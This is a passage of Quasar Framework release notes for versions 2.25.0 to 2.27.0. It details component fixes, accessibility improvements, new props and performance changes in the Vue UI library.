  • fix(QDialog,QMenu,QTooltip): finish a pending transition on keep-alive deactivation -> a popup deactivated mid-transition inside a <KeepAlive> never received its transition-end, so it came back stuck half-faded (#​18201, #​18526)
  • fix(QDrawer): keep the drawer content alive across breakpoint crossings -> the close-swipe directive was attached only below the breakpoint and its condition is baked into the vnode key, so every mobile/desktop transition re-created the whole drawer content, and a containerized QLayout mounted it twice on every page load (#​17099)
  • fix(QIntersection): don't remount the content right after SSR hydration -> with once + ssr-prerender, freshly hydrated content was destroyed and rebuilt on every page load (#​17099)
  • fix(QTable): key slot content that can shift or swap so it never cross-patches -> cells rendered through body-cell-<name> / header-cell-<name> slots were dropped unkeyed into the row, so changing visible-columns made Vue diff one column's compiled slot output against another's, producing hybrid cells (one column's label with another's href) and worse after repeated toggles. Production-only, which is why it survived dev testing. Same treatment for top-row/bottom-row and top-selection (#​16047)
  • fix(QTable): hover sort icon previews the descending-first sort order -> hovering an unsorted column configured with sortOrder: 'da' showed an up arrow even though the first click sorts descending (#​18009)
  • fix(QVirtualScroll): shield the table padding cells from user sticky-column CSS -> the sticky-column recipe's td:first-child { position: sticky } also matched the hidden spacer cells, and mutating a sticky cell during a scrollbar thumb drag made Chromium ratchet the scroller to the end (#​17107)
  • fix(useVirtualScroll): reposition with an instant scrollTo() -> a scroller with CSS scroll-behavior: smooth animated the internal repositioning (#​18168)
  • fix(QLayout): put hide-scrollbar on the root element -> since Chrome/Edge 121 honor scrollbar-width, and it only reaches the viewport scrollbar from the root element, the anti-flicker resize logic had quietly stopped working (#​17122)
  • fix(QImg): recheck an SVG's natural size after layout settles on WebKit -> Safari derives an SVG's naturalWidth/naturalHeight from the img's current laid-out box, so when the load event lost the race with layout the wrong ratio got locked in and object-fit: cover cropped the image (#​15652)
  • fix(QInput): keep the masked display while a debounced emission is pending -> with unmasked-value, the first re-render after a keystroke rewrote the field to the raw text and it never recovered; the same happened after an IME composition
  • fix(QEditor): ignore holes in toolbar group definitions -> a stray comma in the toolbar prop rendered fine but crashed on entering source view (#​16940)
  • fix(QEditor): render toolbar tooltips on every platform -> they were gated behind a desktop user agent, leaving an iPad with a trackpad or mouse without tooltips and without the CTRL shortcut hints that matter exactly when a hardware keyboard is attached. Touch users additionally get the platform-standard press-and-hold tooltip
  • fix(QForm): report a child whose validate() returns nullish instead of breaking (#​17921)
  • fix(QDialog): forward the ESC keyup event through hide() -> the hide/before-hide events carried no payload on ESC dismissal, so listeners could not tell a keyboard dismissal from a backdrop one
  • fix(QSelect): let hardware keyboards navigate options on mobile too -> arrow keys, Home/End, PageUp/PageDown and typeahead could never focus an option on a non-desktop UA, and each arrow press still scrolled back to option 0. aria-activedescendant was never set there either, breaking the combobox pattern's active-descendant navigation (#​16599)
  • fix(QSelect): keyboard accessibility for the options dialog close button -> the button was outside WebKit's Tab loop, its focus indicator was hidden, and dismissing the dialog dropped focus on body instead of returning it to the control (#​6858)
  • fix(QSelect): raise the iOS keyboard when the options dialog opens -> the dialog input ended up DOM-focused but keyboardless, because nothing was focused inside the tap's user activation window (#​16196)
  • fix(QSelect): open the options dialog when typing on the closed control -> with behavior="dialog" and use-input, typing into the focused but closed control was a dead end: the text piled up while the filter early-returned (#​15976)
  • fix(QSelect): prefetch options to map a lazy loaded model value -> with @filter options and map-options, a preloaded model value displayed raw until a user interaction loaded the options. QSelect now fires that one filter call itself (#​17983)
  • fix(QSelect): emit the triggering event with @popup-show/@popup-hide -> both events always received undefined (#​14678)
  • fix(QSelect): shield disabled options from Backspace removal -> a disabled option's chip showed no remove icon yet still died to Backspace (#​15645)
  • fix(QSelect): reset the typed input when focus leaves through the popup content -> clicking non-focusable popup content (such as the no-option slot) left the typed filter text behind in the input (#​16135)
  • fix(QSelect): keep the page scroll position when the options dialog opens -> a leftover from the pinned-body era scrolled the page to top on dialog open, and it stayed there after dismissal
  • fix(QSelect): drive the option hover highlight per pointer, not per UA -> hybrids the UA calls mobile (iPad with a trackpad, hovering pens) never got the highlight; a touch contact's own moves are still ignored so taps and scroll-drags cannot drag it around
  • fix(QPopupProxy): declare the QMenu/QDialog pass-through props in its API -> all 31 forwarded props were missing from the API JSON, so the generated TS types rejected documented usage (e.g. cover with transition-show) for JSX/TSX consumers and the docs API card listed none of them. separate-close-popup is the one documented exception: the menu branch overrides it (#​18530)
  • fix(ui): arm ESC dismissal and focus containment on mobile platforms too -> see the note at the top (WCAG 1.4.13)
  • fix(ui): key focus and hover feedback on input capability instead of UA -> see the note at the top. Covers QCheckbox, QRadio, QToggle, QSlider, QTable row hover, QChip and the q-focusable/q-hoverable helpers
  • fix(ui): paint the manual focused state on mobile platforms -> the whole focus-helper visual sat under body.desktop, so the keyboard navigation QSelect just gained on mobile moved a focused state nothing painted (#​16599)

Other

  • API JSON now declares every pass-through surface it had been hiding: QPopupEdit gains the 15 QMenu props that already forwarded at runtime (target, context-menu, dark, the hover trio, dismissal and focus flags, transitions) plus the chained escape-key event, and QVirtualScroll's entirely undocumented QList / QMarkupTable attrs forwarding is now declared. Both reach the generated TS types and the docs API cards
  • docs(api): the error prop reserves the bottom space even when false -> the false vs null distinction (reserve the error line vs no external validation at all) was undocumented and kept getting reported as a bug (#​17662)
  • A large internal cleanup pass: browser compat code obsolete under the new Baseline floor was removed (vendor-prefixed Fullscreen and Page Visibility, the passive-support probe, the RTL scrollLeft bug probe, QResizeObserver's <object> fallback, IE-era normalize rules), the hover engine shared by QMenu/QFab/QSelect moved into one composable, and the API builder gained mixin/extends features that let components pull pass-through definitions straight from their source component instead of hand-copying them

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.27.0

Compare Source

[!IMPORTANT]
Two behavior changes worth checking before you upgrade:

  • A click on the target no longer closes a hover-opened QMenu/QBtnDropdown while it is still animating into view. A single move-and-click gesture can no longer dismiss what it just opened; once the menu is fully shown, clicking toggles it closed exactly as before.
  • Three language packs now report a standards-compliant isoName: kur-CKB reports ckb, mm reports my and sr-CYR reports sr-Cyrl. The old import paths keep working as deprecated aliases for the whole of Quasar v2, but code comparing $q.lang.isoName against the old values needs updating.

New

  • feat(QFab): open on hover -> new hover, hover-delay and hover-hide-delay props, the same contract QMenu and QBtnDropdown got in v2.26. The pointer can cross the gap between the main button and the actions without closing them (150ms grace period by default), touch devices keep tap-toggling, keyboard interaction is untouched, and focus is never moved
  • feat(QTd/QTh): new col-name prop -> a QTd or QTh wrapped in your own component inside QTable's #body slot can finally say which column it belongs to. The cells used to resolve their column from the vnode key, which Vue never forwards through $attrs, so a wrapped cell rendered nothing. Existing key="..." usage keeps working; col-name takes precedence (#​17830)
  • feat(ui/lang): canonical names for three language packs -> import quasar/lang/ckb, quasar/lang/my and quasar/lang/sr-Cyrl for Central Kurdish, Burmese and Serbian Cyrillic. kur-CKB, mm and sr-CYR remain available as deprecated aliases

Fixes

  • fix(QMenu): ignore a click on the target while hover is animating the menu into view -> moving the pointer onto a hover menu's target and clicking it in one gesture closed the menu the hover had just opened. Also applies to QBtnDropdown (#​18524)
  • fix(QSelect): keep long selected values inside the parent -> a nowrap value made the field grow past its container instead of truncating (#​18015). Based on PR #​18525 by Timur Arbaev
  • fix(QTable): honor the key set on the grid item slot content -> the mapped rows reached Vue as keyless Fragments, so removing a row recreated every card after it instead of moving the surviving instances (#​18045)
  • fix(QScrollArea): put the vertical thumb on the left side in RTL -> the bar moved to the left edge while the thumb stayed glued to the right one, because its inline right inset could not be flipped by the RTL stylesheet (#​17943)
  • fix(ui): make overlay content clickable over .q-electron-drag regions in Electron -> menus, dialogs, notifications and tooltips overlapping a draggable title bar lost the overlapping area to window dragging. An explicit drag class on the content itself still wins, and dialogs keep letting you drag the window (#​17285)
  • fix(use-mask): don't read a fill char that satisfies its own token as data -> with fill-mask="0" and reverse filling, the unmasked value grew by one fill char per keystroke ("0.01" became "00.01", "000.10", ...), which is the docs' own "Price with 2 decimals" example (#​18523)
  • fix(use-mask): keep the fill padding out of the unmasked value -> with unmasked-value and forward filling, a typed "1" over ###-## with fill-mask="0" was reported as "10000"; with mask AA-AA and fill-mask="A", "X" became "XAAA" (#​18523)
  • fix(use-mask): follow the data, not the render, when placing the caret -> when the fill char is itself a valid data char, "06" arrived as "60" and, on masks with a leading literal, "09" arrived as "90" (#​18523)
  • fix(use-mask): unmask masks that mix token types -> under reverse-fill-mask, every mask mixing letters and digits silently rendered nothing for ordinary values ("ab12" over AA-##), including values the control had just rendered itself (#​18523)
  • fix(use-mask): drop a right-aligned separator nothing filled -> "057" over AA-## rendered "-57", which unmasked back to "57", so what the field displayed was not a value it could read again (#​18523)
  • fix(ui/lang): repair strings across 51 language packs -> stray quotes and characters, leading/trailing/doubled spaces, broken interpolation, Cyrillic text inside the Latin sr pack, Simplified characters inside zh-TW, untranslated English left in translated packs, and year-range plural/agreement errors in some 40 languages (#​18522). Ukrainian was corrected first in PR #​18522 by Ihor Diachenko

Other

  • docs(popup offset): the offset prop of the position engine does not translate the popup, it inflates the anchor box, so middle/center origins are offset-invariant by construction. That is why QTooltip's horizontal offset reads as broken on its default anchor="bottom middle". Documented on the API of QMenu, QTooltip, QBtnDropdown, QPopupEdit and QSelect, with the direction each offset component expands in, plus the note that QMenu's cover drops the offset entirely (#​18212)
  • The language-pack build validator now checks string values, not only pack shape: validateStringArray was declared with four parameters and called with three, so its loop never ran. Every string, array entry and formatter result is now checked for padding, doubled spaces and control characters, and formatters are probed across the counts that select their plural branches

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.26.0

Compare Source

[!IMPORTANT]
A few behavior changes worth checking before you upgrade:

  • QEditor no longer emits a placeholder attribute (it was not valid on a div). Custom CSS targeting .q-editor__content[placeholder] must switch to [aria-placeholder].
  • QSelect renders its fall-through attributes only on the focus target, no longer also on the .q-field__native wrapper. Selectors or tests that matched the wrapper copy (or relied on the attribute matching two elements) need updating.
  • The touch/hover behavior of QTooltip, context menus, the touch directives and the slider family is now decided per interaction instead of by the mobile UA. Hybrid devices change the most: touchscreen laptops and tablets with a mouse gain hover tooltips and right-click context menus, mobile UAs gain keyboard support on QSlider/QRange/QKnob, and QRange stops emitting UA-dependent SSR markup.
  • QDialog dismisses its backdrop on mousedown instead of click, so a press on the backdrop with a menu open closes only the menu on desktop too, matching what touch already did.
  • QSlider/QRange/QKnob de-duplicate their emissions: change fires only when an interaction actually moved the value, and a parent that does not sync the model prop back hears each value once per interaction rather than once per press/release/click.
  • Firefox now matches QField's autofill styling: the stylesheet moved from :-webkit-autofill to the standard :autofill, so the q-autofill keyframe and $input-autofill-color apply there for the first time.

New

  • feat(QMenu): open on hover -> new hover, hover-delay and hover-hide-delay props, also forwarded by QBtnDropdown (in split mode hovering either button opens it). A hover-open never steals focus from where you are typing, ESC still dismisses, submenus keep the chain open while the pointer travels between them, and touch devices keep tap-toggling. No effect when context-menu is set (#​6776)
  • feat(QRange): new min-range and max-range props -> constrain the width of the selection. Out-of-limits model values are coerced like inner-min/inner-max already do, dragging and the keyboard clamp each thumb to what the other thumb allows, and a minimum width blocks thumb crossover (#​18182, #​2100). Based on PR #​18182 by Teodor Atroshenko (thexeos)
  • feat(QTable): new footer slot -> renders a real <tfoot> element, so a totals/summary row can be made sticky through CSS. Works in default and virtual-scroll modes (not in grid mode) (#​7570)
  • feat(date): support the ISO week year -> new getISOWeekYear() util and the Moment/Day.js-compatible GGGG/GG format tokens, so masks like YYYY-[W]ww no longer render the wrong pairing at year boundaries (Jan 1st 2022 was formatted as 2022-W52 instead of 2021-W52) (#​17088, credit: psevertson)
  • feat(Ripple): cancel an "early" ripple once the gesture can no longer end in a tap -> a touch that turns into a scroll/pan, or a pressed pointer dragged off the element, now fades the ripple out instead of leaving a full one behind with no click ever happening. On touch, painting waits 100ms (was 50ms) so flick-scrolls are cancelled before anything becomes visible
  • feat(ui): correct the CSS vendor prefixes across the stylesheet -> printing keeps the QCheckbox/QRadio/QToggle backgrounds in Firefox and Safari (print-color-adjust), Firefox gains the QField autofill styling (:autofill), the QFile/QUploader file button styling (::file-selector-button) and the QPagination input styling (appearance), while prefixes no engine reads any more are gone

Fixes

  • fix(ui): accept class, style, key and ref on components in JSX/TSX -> the exported component types did not carry Vue's PublicProps, so TSX rejected the universal props. Templates were never affected (#​8690)
  • fix(QTooltip): decide the touch UX per interaction instead of per device -> mouse and pen hover show the tooltip on any device, so touchscreen laptops, tablets with a mouse and hovering styluses get hover tooltips the mobile-UA check denied them, while a touch press keeps the exact mobile behavior (#​14763)
  • fix(QTooltip): give a pressed stylus the touch UX -> a pencil held against the anchor got hover semantics and no selection suppression, because a pen reports the same pointerType whether it hovers or touches
  • fix(QTooltip): ignore focus moving within the anchor -> QBtn shuffles focus to an internal helper after every press, so clicking a QBtn with a tooltip flash-hid it on desktop
  • fix(useAnchor): serve context menus by capability instead of by mobile UA -> tablets with a mouse gain right-click context menus, the keyboard context-menu key works on mobile UAs, and touchscreen laptops get the same 300ms long-press with selection suppression phones have instead of engine-dependent native timing
  • fix(TouchHold/TouchRepeat): suppress text selection per interaction, not per device -> a touchscreen laptop no longer shows selection artifacts during a long-press, and a mouse press on a mobile UA no longer suppresses selection it never needed
  • fix(QSlider/QRange/QKnob): wire taps, presses and the keyboard on every platform -> mobile UAs rendered a focusable track that ignored arrow keys, and desktop had no click handler so assistive-tech clicks did nothing
  • fix(QSlider/QRange/QKnob): hand each value to a non-syncing parent once -> a controlled model that rejects the update heard the same value re-emitted by the press, the release and the compatibility click
  • fix(ui/slider): emit change only when the interaction changed the value -> pressing End with the thumb already at the maximum, clicking the value the slider already had, or dragging away and back all fired a spurious change
  • fix(QKnob): emit change only when a user adjustment lands a new value -> mounting, every parent model write and range clamping used to fire it, contradicting its own API description
  • fix(QRange): don't leave a thumb's focus ring behind after a track tap -> on touch nothing ever blurs the internal focus state, so the ring stayed on the tapped thumb through scrolling and taps elsewhere
  • fix(ui/slider): keep marker tick values float-exact on fractional steps -> a fractional step drifted (0.1 + 0.1 + 0.1 = 0.30000000000000004), so marker-labels rendered the drifted number and marker-label-* slot lookups missed
  • fix(ui): act on backdrop press so an open menu is dismissed alone -> with a menu open inside a QDialog, the first press on the backdrop closes only the menu on desktop too. Non-primary buttons are ignored
  • fix(QInfiniteScroll): resume polling when a scroll lock releases with the page at the top -> a window-target QInfiniteScroll that mounted, was re-keyed or left disable while a Dialog or overlay Drawer held the scroll lock never polled again (#​18520)
  • fix(QInfiniteScroll): do not auto-load a window scroll target from inside a fixed-positioned subtree -> content in a Dialog or fullscreen overlay never contributes to the document's scroll extent, so every done() triggered the next load forever (and reverse mode jumped the page behind the overlay to the bottom on mount). Such a placement now warns once, points at the scroll-target prop and revives itself if the fixed positioning goes away (#​18520)
  • fix(QSelect): render fall-through attributes only on the focus target -> attributes like QTable's rows-per-page aria-label matched two elements and broke strict single-element queries (Playwright getByLabel, Testing Library getBy*); the wrapper copy was invalid ARIA as well (#​18519)
  • fix(QSelect): always render the hidden form element, like QInput does -> a QSelect with name/for set but a null or empty model rendered no element at all, so querySelector('[name=x]') could not find it. Form submission and validation are unaffected (#​17951)
  • fix(QEditor): clicking the placeholder focuses the field on Chrome -> the placeholder rule now reads the aria-placeholder the component already renders, and the invalid placeholder attribute is no longer emitted (#​18511)
  • fix(QDrawer): hide the opposite drawer again when showing one in mobile behavior -> both drawers could end up on screen at once, stacking two backdrops
  • fix(QDrawer): apply role and aria-* attributes to the aside element -> they landed on the inner scrolling div, so naming or re-typing the landmark through QDrawer was impossible (#​18059)
  • fix(QField): hide shadow-text on blur while the field has an error -> an invalid field kept showing the shadow text after blur, overlapped with the label (#​17155)
  • fix(QInput): let the textarea line-height follow the font-size -> .q-textarea pinned its rows to 18px, so a bigger font gave cramped, overlapping lines that apps had to override with !important. The default layout is unchanged (#​16772)
  • fix(QItem): let overline/caption labels, header labels and side sections follow the item color -> an active (.q-router-link--active) or custom-colored item kept gray secondary text. Derived from currentColor via color-mix() at the same emphasis levels, with the legacy values kept as fallbacks (#​18300)
  • fix(QExpansionItem): keep the header icon/toggle colors when using switch-toggle-side (#​18008)

Other

  • docs(QDate): the events and options array forms (and the String handed to their function forms) are always compared as YYYY/MM/DD -- the mask prop never applies to them. Documented on the API instead of changing it; the function form remains the customization point (#​16735)
  • docs(QDrawer): behavior, breakpoint, show-if-above, persistent and no-mini-animation were documented by example only. Adds a "Desktop and mobile behavior" section and corrects show-if-above, which was described as initial-render-only when it actually re-shows the drawer every time the layout goes back above the breakpoint
  • Regression coverage for the capability-based interaction rework: six cross-engine sweep scenarios (tooltip pointer wiring and pen lifecycle, context-menu ownership arbitration, backdrop press, the slider tap/keyboard burst, per-interaction selection suppression) plus a touch-capable Chromium pass in the matrix, and hardened QSlider/QRange suites

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.25.1

Compare Source

[!IMPORTANT]
A few behavior changes worth checking before you upgrade:

  • lazy-rules now clears an error while you type: while an error is displayed, the field re-checks on each model change instead of waiting for the next blur. Rules that were only ever meant to run on blur will now also run on every keystroke for as long as the field is in error.
  • Async rules re-validate when the value changes or the field blurs mid-flight: a slow rule that settles after the user moved on no longer paints its verdict onto the newer value; a second validation run is triggered instead.
  • The field's hint/error/counter area sits in normal flow: a message taller than one line now grows the field instead of painting over the content below it. Geometry is unchanged for every one-line message, except item-aligned fields, which now reserve that one line (about 20px taller) instead of bleeding messages into the next item. Custom CSS leaning on .q-field--with-bottom's padding-bottom or on the absolutely positioned .q-field__bottom--animated needs a second look.
  • QLayout can emit one extra @scroll: a scroll update suppressed while the body scroll lock was held is now applied when the lock releases without restoring the position.

Fixes

  • fix(QField/QInput/QSelect/QFile): lazy-rules re-validates on model change while an error is displayed -> the error clears as soon as what you type becomes valid, instead of staying up until the next blur (#​17456)
  • fix(QField/QInput/QSelect/QFile): re-validate when the model changes or the field blurs during a pending async validation -> a slow rule can no longer settle onto a value the user has already replaced, leaving the field showing a verdict for text that is no longer there
  • fix(QForm): report a child whose validate() throws synchronously -> that child now fails and gets focused, exactly as a rejected async rule already did, instead of the exception breaking the whole submit()
  • fix(QField): flow the hint/error/counter area in-layout -> a message longer than one line grows the field instead of painting over whatever follows it, and item-aligned fields no longer bleed their messages into the next item (#​17807)
  • fix(QLayout): re-sync the scroll state when a scroll lock releases on a changed route -> navigating away from inside a Dialog or under the Loading plugin left the layout holding the pre-navigation scroll state, so a reveal QHeader never reappeared at the top of the new page (#​12994)
  • fix(QMenu/QTooltip): re-anchor when the iOS visual viewport moves -> with the soft keyboard open or while pinch-zoomed, iOS scrolls only the visual viewport and no window scroll event fires, so an open popup ended up detached from its anchor by the scrolled amount (#​16849)
  • fix(QSelect): keep the field width stable while loading with hide-dropdown-icon -> with no icon to swap for, the default spinner appended net-new width and the field jumped on every filter round-trip. The default spinner is now suppressed when the dropdown icon is hidden (an explicit loading slot still renders), and the clearable icon keeps its place while loading instead of vanishing (#​17375)
  • fix(QTabs): show the overflow arrows when align="right" -> Blink and Gecko keep start-side overflow out of the scrollable overflow region, which collapsed the measurement and hid both arrows, leaving the overflowing tabs unreachable by pointer (#​17847)
  • fix(QInfiniteScroll): stop polling while a Dialog or an overlay Drawer scroll-locks the page -> opening one over an infinite scroll fired @load in a loop until the whole list had been fetched (#​13257)
  • fix(QInput): don't lose a typed char that equals a mask literal -> mask 11## swallowed a typed "1" and 04## ### ### a typed "0", because the char could not be told apart from the literal sitting at that position (#​15624, #​18051)
  • fix(QInput): soft-keyboard backspace over a mask literal deletes the data char before it -> on iOS the browser removed only the literal, the remask put it straight back, and the edit became a silent no-op that left the caret misplaced, so every digit typed next landed one slot early and scrambled the value (#​17639)
  • fix(QInput): re-anchor the caret after a dynamic mask change -> with a mask computed from the value being typed, the caret could land inside the value after the layout shifted, so the next digits scrambled it and the last char read as never registering (#​7777)
  • fix(QInput): drop a stale debounced emission when the mask restores the model's value -> cutting a whole masked value and pasting it back before the debounce fired emptied the model while the input showed the pasted text (#​17568)
  • fix(ui): resolve a custom Dialog's show/hide through arbitrarily nested components -> a QDialog sitting behind two or more single-root wrapper components failed with "Incorrectly defined Dialog component" and never opened (#​18159)

Other

  • Regression coverage for the two families reworked here: the validation composable (async races, the QForm submit flow, reset/unmount/disable, reactive rules) and the mask engine (chars equal to a literal, dynamic masks, backspace bursts, the multiple-masks pattern), plus cross-engine sweep scenarios that also run on the iOS Simulator, where the mask and QTabs bugs above behave differently than on any desktop engine

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.25.0

Compare Source

[!IMPORTANT]
A few behavior changes worth checking before you upgrade:

  • QMenu no longer claims role="menu" and QBtnDropdown's toggle no longer emits aria-haspopup -- a menu may only contain menuitem* children, so the old markup was invalid. Declare role="menu" on the wrapped QList (its actionable QItems then expose themselves as menuitems automatically) and use the new toggle-aria-haspopup prop on QBtnDropdown.
  • SSR'd virtual lists now render their first slice on the server, so item templates of a server-rendered QVirtualScroll/QTable run on the server too and must be SSR-safe.
  • QSlideTransition starts animating immediately instead of 100ms later, which shifts the timing of every QTree / QExpansionItem / QStep slide.
  • Third-party language packs: this release adds colorPicker and uploader sections plus several keys. All are optional in the types and read with optional chaining, so existing packs keep working and compiling -- but they will announce nothing for those internals until updated.

New

  • feat(QTree): opt-in virtual scroll mode -> new virtual-scroll prop family, @virtual-scroll event and key-based scrollTo(key, edge). Only the rows around the viewport exist in the DOM, so cost stays flat however much of the tree is expanded (22.6k nodes, dev mode: expand-all 2.2s -> 23ms, filter keystroke on a fully expanded tree 560ms -> 29ms, ~600 DOM elements at any scale)
  • feat(QTree): methods for the state v1 exposed through its per-node meta map -> getIndeterminateNodes(), isIndeterminate(key), getParentNode(key) and tri-state getTickState(key) (returns the true/null/false a QCheckbox takes as its model); the header and body slot scopes gain an indeterminate boolean next to ticked (#​17298) (#​12762)
  • feat(ui): SSR renders the virtual scroll initial window -> server-rendered virtual lists emit their first slice instead of zero items, so crawlers and first paint finally see content. QTable's virtual-scroll mode inherits it; QSelect is unaffected
  • feat(QDate): roving-tabindex keyboard navigation for the day grid -> the calendar is a single Tab stop instead of up to 31. Arrows move by day/week, Home/End to the week edges, PageUp/PageDown by month (Shift for year), all crossing month boundaries and honoring RTL, the options prop and the navigation-min/max limits
  • feat(QTime): direct numeric keyboard entry on the time units -> typing digits on a focused hour/minute/second sets it directly, accumulating multi-digit values within 1.5s (#​12467)
  • feat(QSplitter): Enter collapses the primary panel to its minimum limit and restores the pre-collapse position on the next press (#​12466)
  • feat(QSlider/QRange): the slider role now sits on the focusable element, and the whole family gains Home/End
  • feat(QRange): WAI-ARIA multi-thumb slider semantics -> new left-thumb-aria-label and right-thumb-aria-label props
  • feat(QBtnDropdown): new toggle slot -> renders next to the dropdown arrow, so content like a QTooltip can finally attach to the toggle button in split mode (#​16955)
  • feat(QBtnDropdown): new toggle-aria-haspopup prop -> names the popup's role on the control that actually opens it, in both the regular and the split design
  • feat(QList/QItem): new role prop -> the documented override path (e.g. menuitemcheckbox, or role="menu" on a QList)
  • feat(QLayout): new $layout-marginal-background and $layout-marginal-color Sass variables for the marginal sections (#​10476)
  • feat(QDrawer): new escape-key event
  • feat(QField): the control slot scope gains ariaInvalid, ariaDescribedby and ariaErrormessage
  • feat(a11y): the component internals consumers cannot reach now carry accessible names -> QColor's view tabs, header value field and hue/opacity sliders, QUploader's icon-only buttons and hidden file input, QTable's selection checkboxes plus their empty column header, and QPagination's navigation landmark. Adds the colorPicker and uploader lang sections plus table.selectAllRows, table.selectRow and pagination.label, translated across all 72 language packs

Accessibility

  • fix(QTime): implement the WAI-ARIA spinbutton pattern -> the hour/minute/second controls are localized spinbuttons instead of mislabeled toggle buttons; arrows adjust the focused unit (key-repeat works, the page no longer scrolls) and Home/End jump to the first/last valid value (#​12467)
  • fix(QDate): give the calendar controls real accessible semantics -> days announce their full localized date instead of a bare number, expose selection through aria-pressed and mark today with aria-current="date"; the view switcher becomes a real button that Space activates
  • fix(QOptionGroup): implement the WAI-ARIA radiogroup keyboard pattern -> a radio group is a single Tab stop with arrow-key navigation, wrapping, skipping disabled radios and mirrored in RTL (#​17638)
  • fix(QOptionGroup): announce a disabled group whatever its type -> aria-disabled was set only for radios
  • fix(QSplitter): implement the WAI-ARIA window splitter keyboard pattern -> the separator is a focusable, value-carrying separator; arrows move it by 1% (10px in px unit) and Home/End jump to the limits (#​12466)
  • fix(QSplitter): give the separator bar an accessible name -> new separator-aria-label prop
  • fix(QTabPanels/QTabs): complete the WAI-ARIA tabs pattern -> QTabPanel is focusable so keyboard and screen reader users can reach panel content with nothing focusable inside, and the tabpanel role lives solely on the panel components (#​6560)
  • fix(QStepper/QCarousel): correct the ARIA semantics of their panel patterns -> QStep drops the orphaned tabpanel role and becomes a group labeled with its title, conveying aria-current="step" even with header navigation off; QCarousel's navigation is exposed as the tabs pattern it actually is (#​6560)
  • fix(QEditor): complete the WAI-ARIA toolbar/textbox contract -> role=toolbar with a localized name, a single Tab stop with roving tabindex, arrow navigation (wrapping, RTL-mirrored) and Home/End (#​15675)
  • fix(QEditor,QTable): name the internals that reuse existing lang keys -> QEditor's toolbar toggles convey their state with aria-pressed instead of color alone, and the hyperlink editor's URL field gets a name
  • fix(QMenu/QList/QItem): derive valid ARIA roles instead of claiming role=menu (#​17162)
  • fix(QMenu): close the popup when TAB moves focus out of it -> focus no longer drops onto the browser UI leaving the menu open (#​15675)
  • fix(QMenu): mark its anchor as the popup's trigger -> aria-expanded/aria-controls stay in sync without apps mirroring the open state by hand
  • fix(QMenu,QDialog): render menu portals inside their aria-modal dialog -> menus anchored in a modal QDialog (a QSelect's listbox included) were pruned from the accessibility tree and never announced (#​17078)
  • fix(QSelect): align the popup with the ARIA combobox pattern -> the listbox role wraps only the options, which now carry aria-setsize/aria-posinset (#​17344)
  • fix(QSelect): keep a readonly select focusable and announced -> it used to emit no focusable element at all
  • fix(QSelect): expose a disabled select instead of dropping its control
  • fix(QSelect,QTable): give the rows-per-page selection an accessible name (#​9689)
  • fix(QInput,QSelect,QField): expose error state to assistive tech (#​18323)
  • fix(QFile): expose error state to assistive tech (#​17306)
  • fix(use-field): drop the error ARIA references when no message renders -> <q-input error hide-bottom-space> pointed aria-errormessage/aria-describedby at a missing id
  • fix(QTree): tickable nodes trapped the keyboard -> tickboxes leave the Tab order and Space toggles them from the node header (#​17603)
  • fix(QTree): make every visible node keyboard-reachable, disabled ones included -> arrow navigation used to skip every leaf in a tree without selection
  • fix(QTree): don't hijack keys typed into interactive header content (#​17790)
  • fix(QTree): demote a stale roving Tab stop -> re-expanding could leave two Tab stops
  • fix(QTree,useRefocusTarget): never let focus land in an aria-hidden control (#​17810)
  • fix(QCarousel): give the prev/next arrows an accessible name -> new carousel lang-pack section, translated across all packs (#​7423)
  • fix(QDrawer): let ESCAPE dismiss the drawer in its modal states, under exactly the conditions the backdrop accepts a click (#​7423)
  • fix(QItem): attach pointer listeners only on interactive items -> WCAG checkers flagged the no-op handlers on a non-clickable QItem (#​7423)
  • fix(QStepper): announce a disabled step header as an unavailable button instead of inert text
  • fix(QRating): ArrowDown/ArrowUp move focus in the documented radio-group direction
  • fix(QSlider,QRange): say "no value" instead of announcing a limit as one -> a null QSlider announced the minimum, an untouched QRange the whole range as selected
  • fix(QSlider,QRange,QImg): emit valid ARIA in three edge cases
  • fix(QIcon): keep the ligature text out of the accessibility tree (#​18084)
  • fix(a11y): give the scrollable regions keyboard access -> QMarkupTable and QTable's horizontally scrolling middle are Tab stops, so a table wider than its container is no longer pointer-only
  • fix(ui): drop spec-invalid ARIA from QToggle, QPagination, QChip, QFab, QImg, QLinearProgress, QTimeline and QBtn
  • fix(types): keep the screen-reader lang keys optional -> a third-party language pack written before them kept compiling

Performance

  • perf(QTree): the tree was rebuilt around lazy rendering, per-node render isolation and incremental state -> collapsed subtrees mount on first expansion instead of being pre-rendered behind v-show (22.6k-node tree, dev mode: 2196ms/299,713 DOM elements -> 31ms/169), a state change re-renders only the affected nodes, and the monolithic O(N) meta rebuild became layered derivation that recomputes only on its own triggers. Per-key state of keys that left the model is pruned, and getTickedNodes()/getExpandedNodes() use keyed lookups
  • perf(QSlideTransition): start animating immediately instead of 100ms later -> every QTree, QExpansionItem and QStep slide loses 100ms of idle latency, and duration <= 0 short-circuits to an immediate settle
  • perf(ui): a broad mount-cost sweep -> useQuasar() resolves through the instance's global properties (~0.6ns/read vs ~37ns), size styles are module-cached, and trivial computeds were flattened out of the render path across ~70 files (QBtn, QItem family, the checkbox family, QChip, QTab/QRouteTab, QList, spinners and 12 bulk-mounted leaves, plus use-dark/use-align/use-form/use-transition/use-router-link/use-split-attrs)
  • perf(ui): every component of that sweep was then re-benchmarked in a real browser, and the computeds whose removal cost more than it saved were restored
  • perf(QIcon): module-level parse cache, no per-instance computeds
  • perf(date): compile formatDate masks once and cache per mask
  • perf(QScrollArea): allocation-free @scroll payload assembly
  • perf(ui): allocation-free isKeyCode, loop-based sumSize, regex-free hexToRgb and allocation-free mask token testers
  • perf(QInput/QSelect/QTab): test the cheap event flags before shouldIgnoreKey()

Fixes

  • fix(QSelect): allow cancelling keyboard actions (#​18507)
  • fix(QInput): allow cancelling mask keyboard actions (#​18515)
  • fix(QEditor): allow cancelling the CTRL keyboard shortcuts -> @keydown.ctrl.b.prevent could observe the key but not stop QEditor toggling bold
  • fix(QTab/QRouteTab): allow cancelling the keyboard actions -> the event was emitted after the tab had already acted on it
